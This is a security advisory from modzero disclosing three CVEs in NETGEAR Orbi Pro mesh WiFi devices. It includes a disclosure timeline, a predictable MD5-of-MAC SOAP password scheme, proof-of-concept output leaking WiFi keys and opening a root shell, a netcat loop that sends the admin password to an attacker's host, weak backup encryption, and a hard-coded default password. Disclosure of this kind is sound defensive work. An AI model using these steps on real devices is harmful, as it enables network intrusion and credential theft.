------------------------------------------------------------------v1- modzero Security Advisory [MZ-20-02]: Critical Vulnerabilities in NETGEAR Orbi Pro WiFi Mesh System --------------------------------------------------------------------- --------------------------------------------------------------------- 1. Timeline --------------------------------------------------------------------- * 2020-01-14: Initial contact with Netgear PSIRT, PGP key exchange. * 2020-01-17: Advisory (draft) submitted to Netgear PSIRT along with fully working exploits written in python. * 2020-01-22: Asking for confirmation. * 2020-01-23: NETGEAR asks for instructions on how to exploit. * 2020-01-23: NETGEAR asks for help with error "OSError: [Errno 113] No route to host" * 2020-01-23: modzero suggests to check for proper routes to target. * 2020-01-24: NETGEAR confirmed they're able to successfully send ICMP messages to target, but still have problems with authentication. * 2020-01-24: modzero tries to remote-debug issues by asking several questions about NETGEAR test-lab setup. * 2020-01-25: NETGEAR asks for exploits (python-scripts) with more debugging. * 2020-01-27: modzero offers to help with debugging and asks for a config-backup/config show output. * 2020-01-29: NETGEAR sends configuration data, that totally differs from what have been sent on 2020-01-25. * 2020-01-29: NETGEAR confirmed, they have not proceeded according to our advisory, asking for next steps. (???) * 2020-01-29: modzero suggests talking to devs and security archi- tects, if previously made decisions still meet their current security requirements. * 2020-01-30: modzero received notice, that the engineering team "is in China and they are on holidays now". NETGEAR will get back to modzero by mid next week. * 2020-03-03: modzero asks for progress. Current/Updated firmware is still vulnerable. * 2020-03-04: NETGEAR struggles to meet their ETA due to COVID-19. They let us now to keep us updated, once they've a fix in place. * 2020-04-02: modzero sends screencast-video "from unboxing to root" to demonstrate actual setup and exploitation with most recent firmware. * 2020-04-05: The following CVE-IDs have been assigned to these vulnerabilities: CVE-2020-11549, CVE-2020-11550 and CVE-2020-11551. * 2020-04-06: NETGEAR provides new firmware images for testing. modzero offers to extend release time by 2-4 weeks to ensure proper testing and roll-out of the patches, due to the Corona pandemic. * 2020-04-13: Publication delayed to May 18th * 2020-??-??: NETGEAR silently published updated firmware without sending a notification to modzero. * 2020-05-10: Review of latest Firmware: Exploits does not work anymore. However, authentication mechanism is still the same. * 2020-05-11: modzero sends results of the patch-review, asking for some details of certain bugfixes. Never got an answer from NETGEAR... * 2020-05-18: Advisory and full details published. --------------------------------------------------------------------- 2. Summary --------------------------------------------------------------------- Vendor: NETGEAR Homepage: https://www.netgear.com/ Products known to be affected: - Orbi Pro Tri-Band Business WiFi Router (SRR60) AC3000 - Orbi Pro Tri-Band Business WiFi Add-on Satellite (SRS60) AC3000 - Orbi Outdoor Satellite (RBS50Y) = Orbi Firmware Version <= V2.5.2.104 NETGEAR PSIRT asked for an extension of the public release by 4 weeks, because they identified these vulnerabilities in other products as well. NETGEAR didn't provide any information on further affected products or devices. * 2.1 Weak authentication on administrative SOAP interface on Orbi Pro Wifi Mesh Satellites * 2.1.1 CVE-2020-11551 [unauthenticated] Remote write of arbitrary WiFi configuration data such as authentication details, network settings, DNS, system administration interface configuration, etc. Score: Unauthenticated, remote read/write of Wifi system configuration data modzero: CVSS:3.1 AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H -> 9.6 URL: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator? vector=AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N&version=3.1 * 2.1.2 CVE-2020-11550 [unauthenticated] Remote leak of sensitive/arbitrary information, such as SSIDs and Pre-Shared-Keys (PSK) of all configured WiFis without any prior knowledge. Score: CVSS:3.1 /AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N -> 7.4 URL: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator? vector=AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N &version=3.1 * 2.2 Sharing of system root and Web-admin interface password leads to unauthenticated remote code execution with root privileges. * 2.2.1 CVE-2020-11549 The root-account on the Wifi router/satellite uses the same password, as for the Web-admin login via HTTPS. By exploiting [CVE-2020-11551] it is possible to exploit this issue, to gain remote code execution with root privileges on the embedded Linux-system. Score: Unauthenticated, remote code execution with root-privileges. modzero: CVSS:3.1 AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H -> 8.3 URL: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator? vector=AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N&version=3.1 --------------------------------------------------------------------- 3. Details --------------------------------------------------------------------- Introduction: The NETGEAR Orbi Pro Mesh WiFi system can provide a large coverage of WiFi signal over a large area within buildings, halls, and outdoors. Up to four separated 2.4GHz and 5GHz networks can be set up for different purposes: 1. [Wireless 1] Main network with administrative access 2. [Wireless 2] Employee network, with limited access to admin- interfaces 3. [Wireless 3] Separate IoT/employee network 4. [Guest] Unencrypted guest network with "Guest Portal" The satellites are connected to the WiFi Router/Access-Point using a Mesh network: Example/Illustration 1: [ ~Internet~ ] I [ Uplink/IP-Router ] ==== [ Separate LAN ] I [ LAN ] I [ SAT 1 ] ---- [ Orbi Router ] ---- [ SAT 2 ] ---- [ SAT 4 ] / \ / \ [ SAT 3 ] – [ SAT 5 ] ---- [ Outdoor Repeater ] The Orbi router can be configured as Internet router with firewall and VPN- features, as well as in Access Point (AP) mode, to act as a bridge between wired and all wireless interfaces. The term "router" is used, even if the system is configured in AP-mode. To set up the Mesh network, only administrative access to the Orbi Router, and physical access to the new satellite is necessary. Everything else is done completely transparent to the user/admin. Once a satellite is connected to the Mesh network, it receives configuration data and commands from the router over the wireless network [Wireless 1] using HTTP/SOAP. As one satellite must not necessarily be within wireless radio range of the router, other satellites are able to relay those configurations and commands. The Orbi Pro Satellites provide Fast-Ethernet ports on the backside, to connect wired systems and devices with the same wireless [Wireless 1] network and [LAN]. Administrators can use a Web user-interface via HTTPS using self-signed certificates to perform individual tasks on the router and its satellites and gather logs and information about the wireless network state. The SOAP API via HTTP is also used by remote management applications such as the mobile Netgear Orbi App for iOS. Using these apps, the router and satellite's status can be queried and monitored. The iOS app provides a very limited set of remote management functions. All NETGEAR Orbi Pro systems use OpenWRT with BusyBox Linux as operating system, running on ARMv7. Limitations: The administrative interfaces such as HTTP/SOAP and HTTPS/Web-UI are available from [Wireless 1] or the wired Local Area Network [LAN], connected to the router uplink interface. The administrative interfaces are also available to the (restricted) "Employee- network" [Wireless 2], if wireless client isolation is disabled by checking "Allow employees to see each other and access my local network" in the Basic Wireless Settings section of the Web-UI. Any wired system that uses the Fast-Ethernet ports of any NETGEAR Orbi Pro Satellite can access all system management interfaces as well. A network that is routed via the wired uplink network interfaces can access administrative interfaces as well. For example, any system in network [Separate LAN] (see illustration above) can access router and satellites management interfaces, too. Certain HTTP/SOAP methods require being connected to the wireless subnet via [LAN], or the wireless networks (see below). * 3.1 R/W of arbitrary configuration on Orbi Pro Wifi Mesh Satellites MITRE assigned CVE-2020-11551 to this vulnerability. The router maintains a global configuration for the whole Orbi Pro WiFi Mesh network, including settings for each satellite, WiFi settings, and system passwords. Administrators can change those settings only on the Orbi Pro Router. The router distributes this configuration to any connected device (satellites, repeater). The distribution of these values is done via an undocumented SOAP interface that is active on every system on port 80/HTTP. The SOAP interface on every Orbi Pro system is available via the following URL: http:///soap/server_sa The SOAP interface is used to write or read settings, or gather statistics and performance values of the WiFi network. To write configuration via SOAP or to read sensitive data, the SOAP client must authenticate against the peer's SOAP service. Authentication against an Orbi Pro Satellite can be achieved using the following SOAP request: ---- listing 1 ---- POST /soap/server_sa/ HTTP/1.0 SOAPAction: urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate HOST: 10.11.42.243 Content-Length: [...] 561365F16AE108841670 orbi 954e626e344[REDACTED]613c472e823 8 ---- /listing 1 ---- HTTP/SOAP authentication at a satellite station requires the hard-coded username "orbi". The password is different for each Orbi Pro system, thus it must be derived from some public values, as the whole Orbi Pro Mesh system can be set up with almost no manual interaction. During investigation it became clear, that the password is based on the public MAC-addresses of both peers that are part of a communication during a SOAP session. During the authentication handshake, both systems calculate a password on the fly like this: 1. peer_A takes the last three octets (as HEX-string) of the local, outgoing network interface's MAC-address A4, A5, A6. 2. peer_A takes the last three octets (as HEX-string) of the remote network interface's MAC-address of peer_B B4, B5, B6. 3. peer_A assembles a string, using the variable, public values A4, A5, A6, B4, B5, B6: secret = "NETGEAR_Orbi_A4_A5_A6_B4_B5_B6_password" 4. peer_A calculates the MD5-checksum of the generated password: password = MD5(secret) 5. peer_A sends this password along with the username "orbi" to peer_B. 6. peer_B does exactly the same calculation to match the same MD5 checksum and thus to validate, that peer_A knows the MAC address of peer_B and its own. 7. peer_B stores the Session-ID that has been generated and submitted by peer_A with state "authenticated" peer_A can now use the SessionID token with every SOAP request that requires authentication. In the following example the output of our Proof of Concept exploit is shown, querying information about two wireless networks: ---- listing 2 ---- $ python3 orbiSatGatherInformation.py 10.11.42.243 [0] 169.254.222.20 : dc:71:[REDACTED] (eth1) [1] 192.168.56.1 : 0a:00:[REDACTED] (eth2) [...] [7] 10.11.42.149 : dc:71:[REDACTED] (wifi0) [...] [+] Select Interface: 7 [*] Query Orbi Satellite at 10.11.42.243 via local interface dc:71:[REDACTED] [*] Device details for 10.11.42.243 [-] Device Name: sat-wk [-] Serial Number: 5836[REDACTED] [-] Firmware Version: V2.5.0.108 [*] Administrative WLAN [-] ssid: skynet [-] mode: WPA2-PSK [-] psk: i-1X[REDACTED] [*] Guest WLAN [-] ssid: darknet [-] mode: WPA2-PSK [-] psk: NewP[REDACTED] [*] Success! ---- /listing 2 ---- The Proof of Concept and other tools, e. g. to send single Orbi SOAP queries, are listed in section 8. Besides reading information from the Orbi Pro devices, it is also possible to perform supported actions such as issuing a DeviceConfig:Reboot command, or setting configuration values such as SetNTP, ChangeUpgradeURL, or e. g. SetRemoteSyslog. An incomplete list of available SOAP services and methods is referred to in section 8. Recommendations: Public-key cryptography should be applied to secure and authenticate the SOAP channels. To ensure strong authentication during operation, cryptographic keys could be deployed and exchanged safely during the initial provisioning phase. * 3.2 Unauthenticated remote code execution with root privileges MITRE assigned CVE-2020-11549 to this vulnerability. The Web-UI admin password that can be set on the Orbi Pro Router is also used on the Orbi Pro Satellites as mentioned earlier. However, if the Telnet server is enabled via the debugging Web-UI, an administrator can log on to the system as root, using the same password as for the Web-UI. The system's user-database in /tmp/config/passwd and /tmp/config/shadow is generated on the fly from the recent system-configuration stored in plaintext in /dev/mmcblk0p14, when telnet is enabled via the Web-UI. As this password is also transmitted over the wireless network [Wireless 1] using plaintext HTTP this poses a high risk being observed by a malicious user on the network via the air. Any malicious attacker who is able to obtain this password, is able to log on to the systems with root privileges and thus fully compromise the integrity and confidentiality of data and traffic that passes along. However, gaining a remote root shell on one of the satellites does not require an attacker to capture traffic on the wireless network. By exploiting the vulnerabilities described in section [3.1], an attacker with access to at least one of the networks mentioned in the "Limitations" section above, can easily set a new admin password on the satellite, enable a remote shell service such as Telnet via the admin Web-UI and eventually log in to the system with root privileges: ---- listing 3 ---- $ python3 orbiSatGetShell.py 10.11.42.243 asdfasdf [0] 169.254.222.20 : dc:71:[REDACTED] (eth1) [1] 192.168.56.1 : 0a:00:[REDACTED] (eth2) [...] [7] 10.11.42.149 : dc:71:[REDACTED] (wifi0) [...] [+] Select Interface: 7 [*] Query Orbi Satellite at 10.11.42.243 via local interface dc:71:[REDACTED] [*] Device details for 10.11.42.243 [-] Device Name: sat-wk [-] Serial Number: 5836[REDACTED] [-] Firmware Version: V2.5.0.108 [*] Administrative WLAN [-] ssid: skynet [-] mode: WPA2-PSK [-] psk: i-1X[REDACTED] [*] Guest WLAN [-] ssid: darknet [-] mode: WPA2-PSK [-] psk: NewP[REDACTED] [*] Enable telnet <0v0> [e] Error getting session/timestamp from satellite: 401 (Unauthorized)! [-] new session/timestamp: 569478051 [-] Success! ----- R U N C M D ----- root@SRS60:/# id id uid=0(root) gid=0(root) groups=0(root) root@SRS60:/# uname -a uname -a Linux SRS60 3.14.77 #1 SMP PREEMPT Tue Dec 10 16:59:23 CST 2019 armv7l GNU/Linux root@SRS60:/# uptime uptime 23:07:21 up 5 min, 1 users, load average: 3.34, 1.93, 0.82 root@SRS60:/# ---- /listing 3 ---- Attackers can now gain persistence on the system for future use or gather more information, to eventually also compromise the Orbi Router as well. modzero was able to gain access to the original (router/AP) admin password, by simply running a shell-while-loop in the background, that periodically reads the current admin-password and sends it to an attacker's host via netcat. After a couple of minutes, the original password has been synced again and was restored on the compromised system (see section 6). Recommendations: This problem has a high impact, because the local system admin/root account uses the same credentials as the Web-UI. The latter must obviously be distributed to all Orbi Mesh systems. It is probably not necessary to use the same credentials on local system as well; Whenever an administrator needs access via Telnet or SSH, she or he might manually set up a dedicated password, that is individually stored in the shadow database of each satellite, independently of the Web-UI rights-management. It is highly recommended to follow at least basic security guidelines when storing sensitive data such as passwords on the filesystem: https://owasp.org/www-project-cheat- sheets/cheatsheets/Password_Storage_Cheat_Sheet.html --------------------------------------------------------------------- 4. Impact --------------------------------------------------------------------- modzero identified critical vulnerabilities in NETGEARs Orbi Pro Mesh Wifi system which leads to arbitrary code execution. --------------------------------------------------------------------- 5. Prerequisites --------------------------------------------------------------------- The administrative interfaces such as HTTP/SOAP and HTTPS/Web-UI are available from [Wireless 1] or the wired Local Area Network [LAN], connected to the router uplink interface. The administrative interfaces are also available to the (restricted) "Employee- network" [Wireless 2], if wireless client isolation is disabled by checking "Allow employees to see each other and access my local network" in the Basic Wireless Settings section of the Web-UI. Any wired system that uses the Fast-Ethernet ports of any NETGEAR Orbi Pro Satellite can access all system management interfaces as well. A network that is routed via the wired uplink network interfaces can access administrative interfaces as well. For example, any system in network [Separate LAN] (see illustration above) can access router and satellites management interfaces, too. Certain HTTP/SOAP methods require being connected to the wireless subnet via [LAN], or the wireless networks. --------------------------------------------------------------------- 6. Bonus Level --------------------------------------------------------------------- After gaining root-access to the Orbi Pro Satellites by changing the admin password temporarily, the new satellite's password is not valid for the Web-UI of the router and its Telnet service. The router, however, is likely distributing the whole system configuration including the admin-password from time to time. An attacker might spend some time with persisting an information- gathering shellscript on the Satellite to eventually get access to the "real" administrator password via "config show" or by reading the raw config partition /dev/mmcblk0p14 directly to not attract any attention. Example: while [ 1 ]; do config show | grep http_passwd | nc 6666; sleep 5; done & On any Orbi system, however, NETGEAR Orbi configuration backups are temporarily stored on the filesystem or are downloadable via the Web- UI. These backup-files are stored "encrypted" in binary format to prevent unauthorized users to access sensitive information. NETGEAR uses a standard non-cryptographic random number generator to "encrypt" the configuration-backup file. Once the RNG has been seeded with a hardcoded, constant value, a pseudo-random keystream from RAND(3) is retrieved, to encrypt or decrypt configuration data using XOR. As NETGEAR uses the simple TYPE_3 Linear Congruential Generator (LCG) provided by glibc, NETGEAR is able to produce the same sequence of random data again for decryption, during a backup restore. However, using an LCG to generate a reproducible keystream for XOR encryption is almost equivalent to using a 32-bit secret key for XOR encryption. Using an LCG to generate a reproducible keystream for XOR encryption and shipping seed and PRNG tohundreds of thousands of customers, is equivalent to not using crypto at all. ---- listing 4 ---- $ ./decrypt -h [!] usage: ./decrypt <-e|d> [!] -e [!] -d $ ./decrypt -d NETGEAR_SRR60.cfg NETGEAR_SRR60.plain.cfg [*] reading NETGEAR_SRR60.cfg: [+] file magic: 20170328 [+] data len: 48392 [+] data crc: daf4a696 [+] done... $ grep -i passw NETGEAR_SRR60.plain.cfg email_password= wan_pppoe_passwd= wan_mulpppoe2_east_password=guest wan_mulpppoe1_passwd= sysDNSPassword= green_download_fileTP_password= wan_mulpppoe2_west_password=flets cwmp_acs_password= wan_pptp_password= enable_password_recovery=0 wan_bpa_password= sysDNSPassword_tmp= wan_cdma_password= wan_mulpppoe2_other_password= http_passwd=4HgE[REDACTED] <-- look! look! wan_l2tp_password= passwd=3968[REDACTED] wan_mulpppoe2_password= have_set_passwd=1 ---- /listing 4 ---- It is recommended to use real and well known cryptographic algorithms such as the AES-128 standard, to encrypt configuration backups with a passphrase/key, chosen by the system administrator. --------------------------------------------------------------------- 7. Hidden Bonus Level --------------------------------------------------------------------- To access and authenticate against the SOAP interface, it is currently necessary to physically reside in certain LANs or WiFis. As the complexity of the historically grown system is quite high, there might be some yet undetected things underneath the engine hood. For example, artifacts like this one from the SOAP client: ---- listing 5 ---- int orbi_set_soapsession_password() { [...] char command[88]; // [sp+68h] [bp-58h] memset(s, 0, sizeof(s)); memset(command, 0, 0x40u); [...] if ( !v3 ) { sscanf(v2, "%*X:%*X:%*X:%X:%X:%X", &v7, &v8, &v9); sscanf(v1, "%*X:%*X:%*X:%X:%X:%X", &v10, &v11, &v12); sprintf(s, "NETGEAR_Orbi_%02X_%02X_%02X_%02X_%02X_%02X_password", v7, v8, v9, v10, v11, v12); sprintf(command, "echo -n %s | md5sum", s); v5 = popen(command, "r"); [...] log_printf("ERROR", 0x299E8, 0x4A, "can't get local mac or remote mac, failed to generate password!\n"); strcpy(&soap_password, "16227b97b0fd5477415a02d792c3b93e"); result = sub_25C68(); if ( result ) result = log_printf("DEBUG", 0x299E8, 0x4D, "use default password: %s\n", &soap_password); return result; } ---- /listing 5 ---- Several hard-coded "default credentials" have been identified by modzero. It is unknown if they are still active or unused, legacy code. It is recommended to remove any hard-coded credentials from the entire firmware-codebase. --------------------------------------------------------------------- 8. Exploits --------------------------------------------------------------------- All PoC exploits, tools and additional information are available on Github: https://github.com/modzero/MZ-20-02-NETGEAR-Orbi-Security Available SOAP methods: soapclient-methods.txt --------------------------------------------------------------------- 9. Fix --------------------------------------------------------------------- 2020/04/06 - Vendor provided new firmware images. CVE-2020-11550 and CVE-2020-11551 seem to be fixed, at least it is not possible to gain access as outlined above. CVE-2020-11549 has not been fixed. --------------------------------------------------------------------- 10. Credits --------------------------------------------------------------------- * Thorsten Schroeder of modzero --------------------------------------------------------------------- 11. About modzero --------------------------------------------------------------------- The independent Swiss-German company modzero assists clients with security analysis in the complex areas of computer technology. The focus lies on highly detailed technical analysis of concepts, software and hardware components as well as the development of individual solutions. Colleagues at modzero work exclusively in practical, highly technical computer-security areas and can draw on decades of experience in various platforms, system concepts, and designs. https://www.modzero.com contact@modzero.com modzero follows coordinated disclosure practices described here: https://www.modzero.com/static/modzero_Disclosure_Policy.pdf. This policy should have been sent to the vendor along with this security advisory. --------------------------------------------------------------------- 12. Disclaimer --------------------------------------------------------------------- The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.